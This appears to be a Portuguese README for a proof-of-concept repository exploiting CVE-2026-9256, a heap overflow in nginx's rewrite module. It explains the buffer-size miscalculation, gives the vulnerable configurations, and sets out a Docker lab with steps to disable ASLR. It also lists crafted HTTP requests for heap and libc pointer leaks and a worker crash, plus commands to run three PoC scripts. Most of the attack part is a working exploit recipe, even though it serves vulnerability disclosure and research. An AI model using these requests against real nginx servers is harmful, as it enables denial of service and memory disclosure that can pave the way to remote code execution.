
Demonstra o estouro de buffer no heap CVE-2026-9256 no ngx_http_rewrite_module do nginx com scripts de PoC para vazamentos de heap/libc e travamento do worker.
nginx Plus e nginx Open Source ngx_http_rewrite_module contém uma vulnerabilidade de estouro de buffer de heap. Quando uma diretiva rewrite usa uma regex com múltiplos grupos de captura PCRE sobrepostos (ex.: ^/((.*))$) e uma substituição referenciando múltiplas capturas (ex.: $1&y=$2), o cálculo do tamanho do buffer de caminho estático subestima o espaço necessário, fazendo com que a gravação real exceda o tamanho alocado (Pool Slip).
Um atacante não autenticado pode acionar isso por meio de uma solicitação HTTP maliciosa, resultando em um estouro de buffer de heap no processo worker. Quando o ASLR está desabilitado ou pode ser contornado, a execução de código é possível.
Arquivo: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: escape overhead counted once for the entire URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length
}
}
Cada $N é escapado independentemente durante a cópia (ngx_http_script.c:1397-1401). Capturas aninhadas fazem com que a mesma substring seja escapada duas vezes, dobrando o custo do escape, mas a alocação só considera isso uma vez.
Fórmula de estouro (aninhamento de 2 camadas ((.+)), Q caracteres + na URI):
allocated = code_size + 2*Q + 2*(Q+1)
actual = code_size + 2*(3*Q + 1)
overflow = 2*Q (precisely controllable)
Condições de acionamento (todas as três necessárias):
.
├── env/
│ ├── Dockerfile # Baseado em nginx:1.31.0
│ ├── docker-compose.yml # Configuração do contêiner (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR ativado (padrão)
│ ├── entrypoint_aslr_off.sh # ASLR desativado (para libc_leak)
│ └── nginx.conf # Configuração vulnerável
├── heap_leak.py # PoC heap_leak
├── libc_leak.py # PoC libc_leak
├── crash_verify.py # PoC crash_verify
├── LICENSE
└── README.md
cd env/
# Baixar imagem base (~200MB)
docker pull nginx:1.31.0
# Construir e iniciar
docker compose up --build -d
# Verificar
curl -s http://127.0.0.1:19321/
# Esperado: ok
# Visualizar logs do nginx (info de falha)
docker compose logs -f
# Parar e remover
docker compose down
# Reiniciar (após falha)
docker compose restart
Verificar estado atual:
cat /proc/sys/kernel/randomize_va_space
# 0 = desativado, 1 = parcial, 2 = completo
heap_leak e crash_verify funcionam independentemente de ASLR. libc_leak requer ASLR desativado no host:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
Alternativamente, desative o ASLR apenas para o processo nginx (nenhum privilégio de host necessário):
copie entrypoint_aslr_off.sh sobre entrypoint.sh e, em seguida, docker compose up --build -d.
Nota: os contêineres compartilham o kernel do host.
randomize_va_spacedeve ser definido no host.
Configuração necessária:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
Mecanismo: Pool Slip faz com que ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) caia na zona de estouro. Os campos inicializados do mecanismo de script (e->ip, e->sp, e->request) vazam para a string de consulta da URI reescrita e são refletidos via return 200 "$arg_y".
Solicitação:
GET /echo/%25%25%25%25%25A HTTP/1.0
Resultado verificado (nginx:1.31.0, ASLR ativado):
e->ip = 0x00006544dec82430 (array de códigos do pool de configuração)
e->sp = 0x00006544dec5ada0 (pilha de script do pool de solicitação)
e->request = 0x00006544dec58880 (estrutura de solicitação)
O que vaza: Ponteiros brutos de heap dentro do espaço de endereço do worker nginx.
PoC: heap_leak.py
Configuração necessária:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # deve ser acessível
add_header X-Leak-Y "$arg_y" always;
}
Mecanismo: proxy_pass aciona a inicialização upstream. Estruturas upstream contendo ponteiros de função de biblioteca são alocadas na zona de estouro. add_header "$arg_y" escreve os bytes brutos no cabeçalho de resposta.
Solicitação:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
Resultado verificado (nginx:1.31.0, ASLR desativado, request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
O que vaza: Um ponteiro bruto na faixa 0x7f... (região de carga libc). Para calcular a base libc, leia /proc/<pid>/maps no alvo e calcule leaked_ptr - libc_base.
Dependência de ASLR: Esta etapa requer ASLR desativado. O ponteiro vazado se origina dos metadados do chunk liberado (fd/bk → main_arena). Com ASLR ativado, o deslocamento do chunk liberado varia e pequenos estouros não podem alcançá-lo de forma confiável.
PoC: libc_leak.py
Alternativa mais simples: Usando o modo
redirect(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), o cabeçalhoLocationexpõe diretamente os bytes brutos de estouro sem problemas de codificação de caracteres. Uma única solicitação pode vazar ponteiros de heap (Q=10~450) ou acionar uma falha (Q >= 500), sem necessidade de proxy_pass ou pool_size especial.
Configuração necessária:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
Mecanismo: Aninhamento de 9 camadas produz estouro = 16Q (vs. 2Q para 2 camadas). Com request_pool_size=7920, Q=123 sai do limite do bloco do pool, sobrescrevendo os metadados do chunk malloc adjacente. glibc detecta corrupção e encerra o worker. O master reinicia automaticamente.
Solicitação:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
Resultado verificado (nginx:1.31.0, request_pool_size=7920):
Q=122: normal response (overflow=1952B)
Q=123: no response, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.
Aninhamento vs pool_size: N camadas produzem estouro = (N-1)*2*Q. O pool_size padrão=4096 com aninhamento de 9 camadas é suficiente para falhar. Pool_size maior requer menos camadas para um dado Q.
PoC: crash_verify.py
# Etapa 1: Vazamento de ponteiro de heap
python3 heap_leak.py 127.0.0.1 19321
# Etapa 2: Vazamento de ponteiro de intervalo libc (requer ASLR desativado)
python3 libc_leak.py 127.0.0.1 19321
# Etapa 3: Falha DoS
python3 crash_verify.py 127.0.0.1 19321
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso não autorizado é proibido.
| Condição | Detalhe |
|---|
Nenhuma variável nomeada, sem $N duplicado | Caminho estático (sc.variables==0 && !sc.dup_capture) |
| Grupo de captura aninhado na regex | ex.: ((.+)) faz $1 e $2 corresponderem ao mesmo conteúdo |
+ ou %XX na URI | Aciona o caminho de escape (plus_in_uri ou quoted_uri) |